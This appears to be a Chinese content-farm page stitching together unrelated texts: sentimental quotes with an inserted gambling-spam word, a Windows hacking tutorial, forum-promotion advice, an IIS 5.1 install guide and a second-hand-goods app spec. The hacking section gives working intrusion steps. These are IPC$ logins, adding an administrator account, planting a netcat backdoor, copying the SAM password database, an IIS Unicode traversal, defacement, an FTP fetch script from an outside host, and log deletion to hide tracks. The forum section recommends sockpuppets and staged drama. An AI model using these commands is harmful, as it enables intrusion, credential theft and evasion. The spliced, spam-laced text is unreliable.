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说说最新发布篇一
《最新发布成长类的经典说说》
1、已决定放手就不要再回头。
2、才发现你已经在不知不觉中，影响了我的情绪。
3、一步一个脚印好好珍惜自己选择的路。
4、离开是我选的，你和她希望的结果。
5、卑微的孩子始终卑微，他没有强大的理由。
6、若是忘了，又怎么能说是爱呢？
7、平静久了、自然变得面无表情了。
8、男人其实不用正眼去看，斜视就可以。
9、留在心底的伤口，是否只能独自去承受。
10、如果心陷，不得真爱。悲剧我心若死，又有何爱？悲情如果心痛，不如寂寞。悲哀她心不爱，自作多情。悲叹。
11、我只想做我自己，就仅仅是自己，不需要他人的干扰安安静静的活下去，
12、既然没有，何必要流泪。
13、不是我绝情、而是你不懂那种撕心裂肺的失去有多痛。
14、90.後，也想有个稳定的爱情。
15、爱，很简单。为什么会撕心裂肺。
16、莪德痛、你永远不会懂。
17、归零后我重新拾起那不成碎裂的心。
18、谁能让我心跳一次，我就为谁动情一场。
19、认真二字何其简单，现金网。
20、我举着丘比特之箭追呀追，你穿着防弹背心飞呀飞。
21、一些男人喜欢把女人教坏了，又喜欢去感化坏的女人，使她变为好女人。
22、你赐我空欢喜，我却留你一世繁华。
23、我现在什么都不想做。无论我做什么始终是个错。
24、谁为谁流泪。谁放弃了谁？
25、其实不怪你，是我自己陷入了过去里。
26、因为有你在身边。就像一束天光。补充我所有所有所有所有所有的能量。
27、请记得有那么一个爱你不顾自己的女人。
28、19岁的身体30岁的容颜和心态。
29、我也怕面对梦醒的场面，现实太残酷了，谁也承受不了。
说说最新发布篇二
《最新发布完整版黑客常用dos命令-含net用法net命令大全》
一般黑客入侵所需要的几个常用命令
1：NET
只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！
这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1
net use \\127.0.0.1\ipc$ “123456″ /user:”hbx”
退出的命令是
net use \\127.0.0.1\ipc$ /delte
下面的操作你必须登陆后才可以用.登陆的方法就在上面.
———————-
下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户.
我们加一个heibai的用户密码为lovechina
net user heibai lovechina /add
只要显示命令成功,那么我们可以把他加入Administrator组了.
net localgroup Administrators heibai /add
———————-
这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.
net use z:\\127.0.0.1\c$
———————-
net start telnet
这样可以打开对方的TELNET服务.
———————-
这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。
net user guest /active:yes
———————-
这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！
net user guest lovechina
net命令果然强大啊！
2:at
一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？ 那么需要用AT命令，这里假设你已经登陆了那个服务器。
你首先要得到对方的时间，
net time \\127.0.0.1
将会返回一个时间，这里假设时间为12:1,现在需要新建一个作业，其ID=1
at \\127.0.0.1 12:3 nc.exe
这里假设了一个木马，名为NC.EXE,这个东西要在对方服务器上.
这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.
等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.
3:telnet
这个命令非常实用,它可以与远方做连接，不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口.
telnet 127.0.0.1 99
这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.
4:FTP
它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个WWW.51.NET,不错的.当我们申请完后，它会给用户名,密码,以及FTP服务器.
在上传前需要登陆先，这里我们假设FTP服务器是WWW.51.NET,用户名是HUCJS,密码是654321
ftp
他会要求输入用户,成功后会要求输入密码.
———————-
下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\
get c:\index.htm d:\
假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下
put c:\index.htm d:\
5:copy
下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好IPC$连接才有效。 这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下
copy index.htm \\127.0.0.1\c$\index.htm
———————-
如果你要复制到D盘下把C改为D，就行了！
copy index.htm \\127.0.0.1\d$\index.htm
———————-
如果你要把他复制到WINNT目录里
就要把输入
copy index.htm \\127.0.0.1\admin$\index.htm
admin$是winnt
———————-
要把对方的文件复制过来，顺便告诉大家NT的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名
下面就把127.0.0.1的数据库复制到本地C盘下
copy \\127.0.0.1\admin$\repair\sam._ c:\
———————-
6：set
如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然你黑给谁看。这时需要用SET命令！
下面是我得到的结果！我来分析它，只是找主页在那而已。
COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主页放在的地址，只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT
粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主页的名称了。
7：nbtstat
如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，
密码和用户名一样的，都试下，不行就暴力破解吧！
现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。 命令是
nbtstat -A XX.XX.XX.XX
-A一定要大写哦。
下面是得到的结果。
NetBIOS Remote Machine Name Table
Name Type Status
———————————————
Registered Registered Registered Registered Registered Registered Registered Reg istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII„<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是<03>的话，那他前面的就是用户。
这里的用户是PENTIUMII。
8：Shutdown
关了对方的NT服务器的命令
Shutdown \\IP地址 t:20
20秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。
9：DIR
这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。 你可以本地试下。
10：echo
著名的漏洞Unicode，这个命令可以简单的黑一下有这个漏洞的主机。
我们假设我们要把”南京大屠杀铁证如山，任何日本人不得抵赖！”写入index.htm，有2种方法，大家看看有什么区别。
echo 南京大屠杀铁证如山，任何日本人不得抵赖！>index.htm
echo 南京大屠杀铁证如山，任何日本人不得抵赖！>>index.htm
第一个的意思是覆盖index.htm原有的内容，把”南京大屠杀铁证如山，任何日本人不得抵赖！”写进index.htm。
第二个的意思是把”南京大屠杀铁证如山，任何日本人不得抵赖！”加到index.htm里面。 “>>”产生的内容将追加进文件中，”>”则将原文件内容覆盖。
大家可以本地试下。
可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方的目录里。
1、首先，我们需要申请一个免费的主页空间。
2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例。） open upload.chinaren.com（你的FTP服务器，申请时你的空间提供商会给你的） cnhack（你申请时的用户名）
test（你申请时的密码）
get index.htm c:\inetpub\
bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS）
具体的做法：
输入 echo open upload.chinaren.com> c:\cnhack.txt
输入 echo cnhack >> c:\cnhack.txt
输入 echo 39abs >> c:\cnhack.txt
输入 echo get index.htm c:\inetpub\
最后输入 ftp -s:c:\cnhack.txt （利用ftp的-s参数，执行文件里的内容。）
等命令完成时，文件已经下载到你指定的文件里了。
注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会给别人看到你的密码。） 记得要 del c:\cnhack.txt
11:attrib
这个命令是设置文件属性的。如果你想黑一个站，而他的主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒！不过有这个命令就别怕了。 attrib -r index.htm
这个命令是把index.htm的只读属性去掉。
如果把”-”改为”+”则是把这个文件的属性设置为只读
———————-
attrib +r index.htm
这个命令是把index.htm的属性设置为只读。
12:del
当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。
NT的日志有这些
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
说说最新发布篇三
《说说我做论坛的心得》
说说我做论坛的心得
一直想送大家一些礼物但不知送什么好，思来想去琢磨了半天决定把自己做论坛以来总结的一些经验以及一些小方法送给大家。现在网站为了交流方便基本都会配上论坛，就像一些购物网站是考论坛来养人气赚钱，当然论坛对摩比来说也是很重要的。 不废话了，说正题。我想说的问题包括以下几点：
1、如何管理论坛
2、增加人气的方法
3、一个管理员的职责（含管理员做论坛时候的几个原则）
4、论坛维护需要注意的一些问题
一、如何管理论坛（本段文字谈论的话题现在时E度事业部在做，可稍作了解，以作不时之需）
1、第一印象最重要，如果某个论坛界面用的论坛的程序的默认界面，例如之前有个动网论坛的蓝色默认界面，据说十个访问客有九个来过一次后发誓再也不会登门造访了，因为该论坛给他们的印象是：管理团队懒惰，美工素养不高.（目前这方面有E度事业部在做，我们只需要稍微了解一下就可以，万一以后用的着呢，是吧）。
所谓论坛界面，或者说是论坛皮肤，其实就是有若干小图片的拼合加上一些模板的样式代码，论坛皮肤数据库的一条记录共同组成的，如果真的爱惜自己的论坛，不妨把这些按钮图片翻出来擦洗擦洗，抛光打磨一番，让人看着赏心悦目些。论坛上每一个栏目加上图片logo；论坛界面背景图片换成论坛主题的背景等等。
2、栏目设置 栏目设置是论坛的命脉所在，小论坛最忌讳大、 多、 全、综合性过强，一定要突出鲜明的特色，设置合理。
—— 主题新颖：首先要根据论坛的中心主题，定制个性新颖的栏目标题。
——针对人群：预计访问论坛的主要人群，了解他们大致的IT技术，休闲意识，其他情趣爱好。来取舍是否设置休闲或其他栏目（当然E度肯定是以教学为主的），和其他情趣栏目。如某论坛主要访问人群是女生，可以设置一些儿购物饰品、星座情缘之类的栏目。
—— 细化栏目：纵观论坛，把分类过细，不适应应当前人气的栏目合并重组，把划分过于笼统的栏目分裂切割，同时添上版务区。
——版主设置：论坛初期建议降低要求，多设置版主，用以增加论坛发帖骨干力量。充实论坛内容。根据论坛人气的增加情况，适当的调整版主的数量和团队合作。
3、金币及等级的妙用
金币制度：论坛的金币制度往往提供了社区富翁排行等满足会员一点虚荣心理的活动，金币制度的设立往往会超乎想象的促进会员发帖积极性，就想QQ有等级制度一样，不过现在的Q等级可能没当年那么火了
消费制度：光赚钱不行，还得有花钱的地方，E论坛搞得勋章还有一些魔法工具很是不错，但是对一些有钱的主顾还是不疼不痒，原因是，他们太有钱了。所以论坛刚开始做的时候千万要注意不要让金币贬值。说实话E度论坛的钱已经很泛滥了呵呵
4、适度的对外宣传政策
交换链接：交换连接是常规的论坛之间户做宣传的方式（网站也是，很多人抢着要跟E度交换链接，但是未能如愿），但事实上，友情连接由于位置偏下，点击率不高，这里有一共较好的取代方法：直接去目标论坛转载自己论坛的精华帖子，并在贴子开头上转帖地址的标记。这样可以很容易的躲过广告嫌疑而不会被删帖。
和QQ群一起做：QQ群可以作为论坛的辅助工具，其原因是QQ是即使工具，暨刷屏很快，消息转瞬即逝，我们在做活动宣传或产品宣传的时候可以在QQ群宣传，见效很快哦！
二、增加人气的方法
维护论坛的人气可以说是最难，也是一个论坛最重要的部分。相信很多做论坛的都会提出这样的问题：怎么样才能提升论坛的人气？
提高论坛人方法：
1、保持新鲜感
一个论坛的人气好不容易冲上来，时间久了通常会莫名其妙的走起滑坡路来，旧人走的多，新人赶的少，青黄不接。按说，如果一个人习惯一上网就去一个论坛去转转。时间越久，习惯却不容易退去。除非是对论坛丧失了新鲜感。或者在论坛中与别的会员发生了矛盾。
论坛应该经常换常新，隔一段时期（不能太频繁），或多或少，要对论坛做一些会员看的到，用的着的改进，比如更换界面，添加论坛插件、游戏、进行一些合理的人事变动，能者居上，被撤换的版主，管理员或者论坛活跃人士，要赠予贵宾称号适当的开发一些权限，留住一个，等于留下一群。如果有条件还可以给会员提供一些花费不高，但却非常容易笼络人心，让人有强烈归属感的 服务，如免费的博客，免费的电子薄，甚至静态主页空间等。
要每天注入一些新鲜的帖子，这个现在大家都在做，需要提醒的一点的是，大家不要老用马甲顶自己的帖子，马甲的作用是为了烘托人气，引起他人来回这个帖子。斑竹没有马甲是不应该的，但是马甲也不能乱用。固有语：“发帖千万要小心，马甲千万别滥用”
2、装神弄鬼，制造热点
论坛太和平往往不是好事，通常象征着这个论坛的末日的到来。高明的管理员会进行适当的运用炒作学，在论坛里造势，制造一些小的事故，故意挑起事端，然后虚张声势吸引会员注意和眼球，有些‘八卦’会员往往会带动其他会员频繁关注并品论这些事情，以此为谈资，吵的沸沸扬扬。不过装神弄鬼的尺度很难把握，火候过了造成论坛给人坏的印象，声势不足又达不到效果，一般实施前要严密策划，滴水不漏。实例：
3、不要吝啬给坛友的鼓励。
一个新人发了一个很好的帖，管理员或版主不闻不问，不加精不顶贴，估计信任也就懒得发帖了，要让新人很快融入到这个版块中。版主要有热情，网友就有归属感。
4、合理利用马甲
还是上边那句话，做论坛没有马甲是不正常的，做斑竹的没有马甲更不正常。呵呵„„要经常浏览中国各大论坛，把好的帖子符合本版的帖子发到本版来（原创就别写上了，侵权），马甲主要是用来发好帖的，让进来的网友觉得版块有可读性，时间长了也就会出来说或参与讨论。顶帖用马甲没有必要了。马甲是把双刃剑，掌握尺度，不要整个版都是版主的马甲，要适当的应用。（这些上边已经说过，这里再提醒一下）
5、发展核心家长
培养版块里的骨干分子，就是粉丝团（不是版主的粉丝，而是版块的粉丝），做版主要善于发现粉丝，喜欢说话的，又有本版专长的，就是标准粉丝。他们的帖要多顶顶。要经常加精。以资鼓励。汇集人气最失败的地方是搞小团体，特别是版主带头搞小团体。和版块一些人走的太近，导致发帖回帖没有顾忌。牺牲了其他网友的利益。以前有个中国服装论坛，就出现过这个问题，原因是掌握不了尺度。
三、论坛管理员的职责
为什么要说论坛管理员的职责呢？这就像我们工作明白自己的工作职责一样，管理员也需要有自
己的职责。明白自己的职责以后才能放开手去干。当然E度目前的架构非常明确，大家只需要把手头的是做好就行了，这点大家都比我明白，我就不在这里献丑了。
目的：提升论坛人气，进而宣传课程，达到招生目的
范围：
1、通过回帖、发消息等方式和论坛发帖用户交流；引导潜水用户阅读论坛优秀文章；激发潜水用户探讨帖子主题。
2、发布论坛公告。
3、推荐文章。
4、加优秀原创文章入精华区。
5、删除文章。
6、组织、主持论坛活动。
7、管理维护论坛页面。
四、说说管理员工作的几个原则：
1、以人为本的原则（听上去有些官方，不过确实是这样，时间长了，自己就有感觉了） 一个成功的论坛必定是人性化的论坛，要更好地服务于用户，只有归结为一句话：工作，以人为本。
2、网事为公的原则
A、作为论坛管理员，在论坛要以论坛和论坛用户的利益为重，注重自身形象，须知，你此刻代表的是论坛的形象；
B、上网时应专辟一段时间来为论坛工作，在此时段之外也应留一个窗口在论坛，随时留心论坛情况并尽量在第一时间回复论坛新帖。
3、多看多评的原则
A、从一定意义上来说，比之作者，论坛更需要编辑，阅读并评论用户的帖子是管理员最重要的工作，感情上的共鸣常让每个人感动；
B、回帖时多一点鼓励、少一点批评，要提纲携领，"引诱"其他用户阅读原文；
C、一般情况下（午夜至清晨这一时段除外），主帖点击率不得低于4，跟帖不得低于2（水帖除外），首页20个主帖都应有人跟帖回复。
4、重点对待的原则
A、为鼓励用户发表情感类文章，原则上以这样一个顺序回复帖子：先新贴后旧帖、先文章后闲帖、先新友后熟人，尤其对最新发布的帖子、新用户的帖子和无人回复的文章要重点对待。
B、一篇中肯、互动的回帖，胜过十篇敷衍的帖子。管理员回复论坛帖子的时候，对于那些和自己有共鸣的帖子，要用心回复，重点对待。
5、慎重删帖的原则
A、论坛主发情感类文章(原创转载皆可)，对以单独主题发布的非文章类帖子可以在二十分钟后删除，但删除一定要慎重，难以界定的就不要删除；
B、提倡删帖子的同时，把帖子有关内容以发消息的形式转给发帖用户；
C、删帖后如有用户不理解，执行删除的管理员要公开出面解释，不得默不作声；
6、精文精选的原则（这条每个论坛都有自己的规定，E度的规定如下，这是经过N次试验以后出来的结果）
A、加入论坛精华区的文章必须是原创精品，一般不得超过2000字(即非系列文章)，但有关家族的文章不受此限，篇幅短小的（尤其是诗歌）请作者尽量整理成小集子；
B、一般情况，加精华必须有两名管理员以上认可该文章；
7、发帖需注意的20楼原则
这是个很神秘的原则，我不明是怎么来的，但是我在每次看一个帖子的时候就想点那些回复有三页的帖子，不信大家可以试试哈
五、论坛维护需要注意的一些问题：
其实一些问题在上边的几条已经说过，为什么要单独拿出来再说一下呢？是因为这几条重要，很重要。所以着重强调一下。
1、有问必答。论坛不管有什么样的问题，一定要回答。尽量做到“三三原则” 既三十分钟、三行、三十个字（以上），三十分钟体现的是及时性，论坛的人气也是从这个地方体现出来的，用户积极性也是从这个地方培养出来的。三行，体现的是专业性。我们在看一篇文章的时候都有体会，一大段文字，总没有一条一条来的清晰，举个例子：（这是一个孩子的成绩成长清单）
一至三年级：班倒数前三名，常有得第一的实力。什么？当然是倒数第一了呀！老师眼中的差生！四至六年级：虽然数学常拿第一（这次是正数第一，真的！），总成绩依然倒数前三！继续差生！初一上学期：延续小学实力，倒数第二！家长会继续被点名单独教训了一通！初一下学期：脱离倒数命运，还得了“进步奖”！老爸不再挨批，甚喜！初二：继续进步奖！初三：进步飞跃奖！名次提升了196名！太夸张了吧！高一：校排名70左右浮动。高二：校排名50前浮动。高三（尚未结束）：校排名20前，进入尖子生行列！
1-3： 班倒数前三名，常有得第一的实力。什么？当然是倒数第一了呀！老师眼中的差生！ 4-6： 虽然数学常拿第一（这次是正数第一，真的！），总成绩依然倒数前三！继续差生！
说说最新发布篇四
《虚拟主机iis5.1最全最详细安装方法详解最新发布完整版》
1.iis6.0和5.0都不能装在XP系统中 2.下载了后不知道怎么安装 3.安装过程中弹出文件无法复制的对话框和什么系统被修改，是否继续的对话框，很是郁闷 4.安装后internet信息服务器中没有默认网站 5.安装后在地址栏中输入Application Error 错误即500 错误 6.安装后默认网站无法启动 再说说这些问题的解决方法 问题一：1 在你装IIS之前需要知道你的系统是什么样的，HOME版的好想不能装，可好象网上也有装的方法，我们用过HOME版的，也就没试过，如果你是HOME版的可以去试试。如果你的系统是家庭版的，那就应该知道windows 98 只能装pws4.0;windows 2000 ---iis5.0;windows 2003---iis6.0;windows xp---iis5.1.如果你不是用系统盘安装，那就去网上下载你要装的IIS吧！ 问题二：我的系统是xp的，所以我装的是5.1。下载后解压缩放在你硬盘的任何位置。然后开始/设置/控制面板/[添加/删除程序]/[添加/删除windows组建]，然后在windows 组件向导中的internet 信息服务旁边的方框里打上勾，（注意：先别按下一步，点击详细信息看看里面的那些方框是不是都打上勾了，如果没有，要全选上，不然会出现问题4）。现在你按下一步，要求你插入光盘，没有盘，点击浏览，选择IIS存放的路径，然后确定，这里也许你就出现问题3了，如果没出现你很幸运！ 问题三：如果安装时找不到文件，或文件无法复制，知道是什么原因吗？是windons自带游戏惹的祸。回到Windows组件向导，找到附件和工具，在其详细信息中去掉“游戏”的对勾(不然找不到zClientm.exe)。重新安装，是不是找到了？呵呵，这时会一边边的弹出个对话框让你重新选择路径，那就再选一次，不过要注意路径后面好象多了个i386，把它取了，确定。在这里也许会弹出说你的系统不修改的对话框，直接取消，这时你可以歇一下了，可能你已经安装成功了，不过不要太高兴，如果你没遇到后面的问题，你有点幸运！ 问题四：如果看不到默认网站，那再打开[添加/删除windows组建]中的internet 信息服务，详细信息里面的勾全打上了，如果没有，重装吧！ 问题五：出现这个问题也不知道什么原因，不知道你出现了没有，解决方法是：开始”->“设置”->“控制面板”->“管理工具”->“组件服务”中，“控制台根目录”->“组件服务”->“计算机”->“我的电脑”->“COM+应用程序”中，有一个“IIS Out-Of-Process Pooled”鼠标右键“属性”--“标识”--把“此用户”调整为“交互式用户--目前已登录的用户”。然后“确定”，再鼠标右键“属性”--“启动”。这里还有个问题就是找不到“IIS Out-Of-Process Pooled”，那
里面根本没有！怎么 办？别急！开始/运行，输入msdtc -resetlog，然后重装IIS了，现在你应该能看到IIS Out-Of-Process Pooled了，高兴吧！ 问题六：好不容易装上来，可地址栏中输入Wide Web Publishing Services有问题，找到它果然它没启动，可启动它出现错误，启动不了，怎么办？再查吧，又说是要删个更新文件，最后还是弄出来了，正确方法是这样的：开始/设置/控制面板/[添加/删除程序]，最上面有个“显示更新文件”打上勾，在里面找到KB939373，删除它。然后开始/设置/控制面板/管理工具/服务，找到World Wide Web Publishing Services，启动它，并将启动方式改为自动，再回到默认网站启动，看看，是不是能启动了，这时终于看到结果了。在上诉问题中，问题五是最容易发生的，所以要留心，在执行msdtc -resetlog指令时是没有反应的，所以你不要以为没有执行。另外，如果你用的是vs2008开发的网站，那么在运行时出现：名称以无效字符开头。处理资源 '时出错。第 1 行，位置: 2 <%@ WebService Language="vb" CodeBehind="~/App_Code/ZiboService.vb" %> -^ 解决办法：运行vs2005命令行（开始/程序/vs2005/tools），打开命令提示符，或者直接在cmd下键入该路径 如下 E:\Program Files\Microsoft Visual Studio 8\VC> 运行aspnet_regiis.exe /i 就搞定了
说说最新发布篇五
《人人U闲》
人人U闲
项
目
需
求
书
2015年7月21日 山西京美天梦计算机科技有限公司
人人U闲——用一次就够了！ 一生陪你一起走！
用户版APP前端
前端的功能列表是按照APP界面下方的五大功能板块进行罗列，五大功能板块有：主页、空间、联系人、我的、发布。
一、首页
首页包含定位+城市切换、搜索栏、轮番图、八种分类、猜你喜欢、二手物品展示
1.1.1定位是根据手机GPS实现自动定位。每次进入《人人U闲》时，系统默认“首页”功能展示的信息、信息显示出详细的发布信息，根据系统定位显示距离以及地址，且“切换”处显示本城市的信息和街道/或者学校名称。
1.1.2城市切换：“切换”功能可以手动以【市】为基本单位进行城市的切换，有的定位城市、最近访问城市，所有省和市都是系统预设好。当切换到别的城市时，APP页面显示的是切换后城市的分类和产品，产品显示的距离还是以手机GPS的经纬度与该城市某个产品的经纬度距离值。
1.2.搜素栏：本APP搜索栏功能分部在“首页”功能页面的最上方；“产品”功能页面的最上方；“空间动态”功能页面的上方；“联系人”功能页面的上方。“搜索栏”功能都可以进行产品、和好友名称等的关键词搜索。
1.3.轮番图：轮番图数量最多8张图片，图片可以是图片、链接和专题。
“轮番图”功能中的图片是图片时，用户点击该图片，会将图片进行放大；再次点击放大图片，取消放大。
“轮番图”功能中的图片时链接时，用户点击该图片，会跳转到相应链接；关闭链接网站会自动返回到该APP的首页。
“轮番图”功能中的图片是专题时，用户点击该图片，会跳转到“专题” 界面，“专题”界面为特定的【产品列表】界面，“专题”功能只能在轮番图进入，此【产品列表】界面的产品为后台预设的《专题产品》，一个《专题》中的产品可以在多个分类中抓取。
1.4八种分类：“八种分类”包含：二手交易、校园二手、同城维修、兼职、家政服务、商务服务、租赁服务、婚庆服务
此“八种分类”是从首页下方“分类”功能中的《一级分类》中抓取的内容。
用户点击“八种分类”中的任何一种，将跳转到（产品列表）界面，此（产品列表）罗列的产品是属于本（一级分类）的所有产品。
1.5猜你喜欢： （猜你喜欢）是根据用户的GPS定位的经纬度，系统随机抓取附近分类中的产品展示在该功能中，商品的排列顺序是按照距离由远到近依次排列。用户点击（猜你喜欢）界面功能的单个产品内容后，将跳转到(产品详情）界面。
（猜你喜欢）界面功能中的罗列的产品最多显示5个，点击“查看更多”功能将跳转到（猜你喜欢产品列表）界面。
(猜你喜欢产品列表）界面是特定的（产品列表）界面，只是本界面所有的产品均为猜你喜欢的产品
[猜你喜欢】界面功能单个产品显示包含：
1（产品图片、名称、原件、现价、产品简介、产品距离、浏览量、收藏、评论、地址）
1.6每日新品：（每日新品）功能页面显示为最新发布的二手交易信息；产品信息无限制显示，下拉刷新，
单个产品显示包含：个人头像、发布时间、价格、简介、地址、评论图标。
2.1社区空间页面：动态、话题、表白墙、找人寻物、我的说说
2.1.1动态：顶部有发布动态+页面显示第一栏显示轮番广告、+动态说说：（显示头像+定位后的距离（公里）+地址+聊天（点击进入私聊界面）+说说内容（显示发布时间）+分享（微信、朋友圈、QQ、空间、微博）+点赞（次数）+评论（次数）+浏览量+最后下面显示全部评论+底部显示评论栏输入
2.1.2话题：顶部有发布话题+显示搜索栏+动态说说：（显示头像+定位后的距离（公里）+地址+聊天（点击进入私聊界面）+说说内容（显示发布时间）+分享（微信、朋友圈、QQ、空间、微博）+点赞（次数）+评论（次数）+浏览量+最后下面显示全部评论+底部显示评论栏输入
2.1.3表白墙：顶部有发布表白贴+表白贴：（显示头像+定位后的距离（公里）+地址+聊天（点击进入私聊界面）+说说内容（显示发布时间）+分享（微信、朋友圈、QQ、空间、微博）+点赞（次数）+评论（次数）+浏览量+最后下面显示全部评论+底部显示评论栏输入
2.1.4找人寻物：顶部有发布+显示搜索栏+详细描述：（显示头像+定位后的距离（公里）+地址+聊天（点击进入私聊界面）+描述内容（显示发布时间）+分享（微信、朋友圈、QQ、空间、微博）+点赞（次数）+评论（次数）+浏览量+最后下面显示全部评论+底部显示评论栏输入
2.1.5我的说说：顶部有发布说说+动态说说：（显示头像+说说内容（显示发布时间）+分享（微信、朋友圈、QQ、空间、微博）+点赞（次数）+评论（次数）+浏览量+最后下面显示全部评论
3.1联系人页面：消息、我的好友+手机通讯录、附近人、
3.11消息栏：显示搜素栏+好友消息列表（显示头像+网名+删除），点击进入聊天界面(输入键盘+表情+发送）+显示聊天时间
3.1.2我的好友：我的好友+通讯录+附近人、
我的好友：按照名称字母排列、上方显示‘+’，点击“+”符号后会跳 转到（通讯录+附近人）、下方会显示通讯录
3.1.3通讯录：手机通讯录自动导入、搜素栏+通讯录列表（通讯录好友备注+邀请好友（点击“邀请”后自动跳转到手机短信页面，自动编辑短信APP推广信息，下载链接）
3.1.4附近人：搜索栏+附近人头像=名称+“”(表示添加好友）添加请求发出需要对方+
同意
1.4我的：上方“设置”点击进入资料编辑：（昵称+性别+年龄+职业+公司+学校+所在地+故乡+邮箱+个人说明）修改完点击“完成”、
点击头像可以修改（选择拍照、选择手机相册上传）、
签到送金币、
我的相册（顺序排列）、
我的收藏（显示我浏览收藏的物品）、
我的等级显示数字、
我的点评（我参与的评论）、
我的点赞（我赞过的商品以及说说）、
我的发布（我发布的商品）、
我卖出的、
我买到的、
我的金币、
登录功能。
我的收货地址
我的等级：按照登录时间进行升级、按照发表说说进行升级、 我的金币：
1.5发布：二手交易、校园二手、同城维修、兼职、家政服务、商务服务、租赁服务、婚庆服务
根据不同分类制作发布功能进行发布
上传照片、描述、选择类目、所在地（详细）、联系方式、确认发布
二、产品详情： 1、（商铺详情）页面包含：“分享”功能、“收藏” 功能、图片最多15张、浏览量、头像、、“点赞”功能、“评论”功能、产品“一键拨号”功能、“消息”功能、“详细地址一键导航”功能
2.“分享”功能用户点击分享按钮后，即可将该产品分享到“新浪微博、腾讯微博、微信、微信朋友圈、QQ好友、QQ空间”其中一个。
3.“收藏”功能：用户点击收藏按钮后，即可将该产品收藏到的我的收藏。 4.图片为纯图片；点击后只能放大，再次点击返回
5. 点赞：点击图标，即可点赞
6.评论：点击之后展开所有评论、用户也可评论
7.详细地址一键导航：用户点击“地址”按钮后，将跳转到第三方地图界面，终点位置为产品发布位置。
8.一键拨号：用户点击“一键拨号”按钮后，将自动对后台预设的号码进行拨打电话。
9.消息：用户点击“消息图标”按钮后，将跳转到私聊界面，可以将其添加好友。
三、登录
1、当用户在没有登录的情况下进入（会员中心）界面时，该界面不显示“昵称”功能，将显示“登录”功能，用户点击“登录”按钮后，将跳转到（登录）界面，完成登录。
